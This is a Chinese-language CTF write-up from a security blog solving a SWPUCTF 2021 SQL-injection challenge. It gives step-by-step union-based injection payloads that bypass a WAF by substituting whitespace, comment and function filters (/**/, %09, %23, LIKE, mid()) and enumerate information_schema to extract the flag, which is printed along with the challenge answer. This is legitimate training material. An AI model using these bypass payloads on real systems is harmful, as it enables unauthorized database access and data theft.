前言
细讲SQL注入
[SWPUCTF 2021 新生赛]sql
既让sqlmap工具跑不出来,又让手注不是很难,题出的很用心
地址:[SWPUCTF 2021 新生赛]sql | NSSCTF
用到的知识
![图片[1],[NSSCTF]SQL注入刷题记录,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/05/20240528135712593.png?imageView2/0/format/webp/q/75)
字符型
![图片[2],[NSSCTF]SQL注入刷题记录,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/05/20240528135805211.png?imageView2/0/format/webp/q/75)
如上是单引号
![图片[3],[NSSCTF]SQL注入刷题记录,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/05/20240528140140769.png?imageView2/0/format/webp/q/75)
发现waf
![图片[4],[NSSCTF]SQL注入刷题记录,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/05/20240528140149796.png?imageView2/0/format/webp/q/75)
空格被过滤
![图片[5],[NSSCTF]SQL注入刷题记录,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/05/20240528140254514.png?imageView2/0/format/webp/q/75)
–+被过滤
![图片[6],[NSSCTF]SQL注入刷题记录,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/05/20240528140314939.png?imageView2/0/format/webp/q/75)
绕空格过滤的方法
%09,/**/
绕过–+注释符的方法:
%23(#)
查询回显位置
?wllm=1'order%09by%092%23
?wllm=1'order/**/by/**/3%23
![图片[7],[NSSCTF]SQL注入刷题记录,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/05/20240528140905674.png?imageView2/0/format/webp/q/75)
两个回显位置
判断列数
1'order/**/by/**/3%23
发现3列正常回显
![图片[8],[NSSCTF]SQL注入刷题记录,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/05/20240528141134529.png?imageView2/0/format/webp/q/75)
4列报错
![图片[9],[NSSCTF]SQL注入刷题记录,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/05/20240528141148532.png?imageView2/0/format/webp/q/75)
使用select一样的效果
![图片[10],[NSSCTF]SQL注入刷题记录,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/05/20240528141456125.png?imageView2/0/format/webp/q/75)
![图片[11],[NSSCTF]SQL注入刷题记录,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/05/20240528141517468.png?imageView2/0/format/webp/q/75)
说明一共有三列
-1'union/**/select/**/1,database(),3%23
![图片[12],[NSSCTF]SQL注入刷题记录,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/05/20240528141645323.png?imageView2/0/format/webp/q/75)
数据库为test_db
查询表名
这里的前置知识在mysql里information_schema里包含了所有的数据名表名列名
其中information_schema.tables里包含了所有的表
![图片[13],[NSSCTF]SQL注入刷题记录,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/05/20240528141942440.png?imageView2/0/format/webp/q/75)
![图片[14],[NSSCTF]SQL注入刷题记录,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/05/20240528142201555.png?imageView2/0/format/webp/q/75)
group_concat的意思是把信息排列成一行
发现waf
![图片[15],[NSSCTF]SQL注入刷题记录,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/05/20240528142911236.png?imageView2/0/format/webp/q/75)
=被过滤
使用like绕过
?wllm=-1'union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()%23
或者
?wllm=-1'union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'test_db'%23
![图片[16],[NSSCTF]SQL注入刷题记录,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/05/20240528142841631.png?imageView2/0/format/webp/q/75)
拿到两个表名LTLT_flag,users
查询列名
前置知识
information_schema.columns下包含所有的列名
![图片[17],[NSSCTF]SQL注入刷题记录,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/05/20240528143551760.png?imageView2/0/format/webp/q/75)
?wllm=-1'union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()%23
![图片[18],[NSSCTF]SQL注入刷题记录,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/05/20240528143646554.png?imageView2/0/format/webp/q/75)
得到id,flag,id,username
flag在LTLT_flag表下 username在user表下
查询字段值
?wllm=-1'union/**/select/**/1,group_concat(flag),3/**/from/**/test_db.LTLT_flag%23
![图片[19],[NSSCTF]SQL注入刷题记录,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/05/20240528143942149.png?imageView2/0/format/webp/q/75)
发现只能回显20个字符,尝试用substr
发现substr被waf拦截
![图片[20],[NSSCTF]SQL注入刷题记录,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/05/20240528144234376.png?imageView2/0/format/webp/q/75)
使用mid平替
?wllm=-1'union/**/select/**/1,mid(group_concat(flag),1,20),3/**/from/**/test_db.LTLT_flag%23
![图片[21],[NSSCTF]SQL注入刷题记录,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/05/20240528144352797.png?imageView2/0/format/webp/q/75)
?wllm=-1'union/**/select/**/1,mid(group_concat(flag),21,40),3/**/from/**/test_db.LTLT_flag%23
![图片[22],[NSSCTF]SQL注入刷题记录,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/05/20240528144417928.png?imageView2/0/format/webp/q/75)
?wllm=-1'union/**/select/**/1,mid(group_concat(flag),41,60),3/**/from/**/test_db.LTLT_flag%23
![图片[23],[NSSCTF]SQL注入刷题记录,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/05/20240528144439528.png?imageView2/0/format/webp/q/75)
NSSCTF{36458ec9-6832-48fc-874a-09e314f7ac3b}
THE END
- 最新
- 最热
只看作者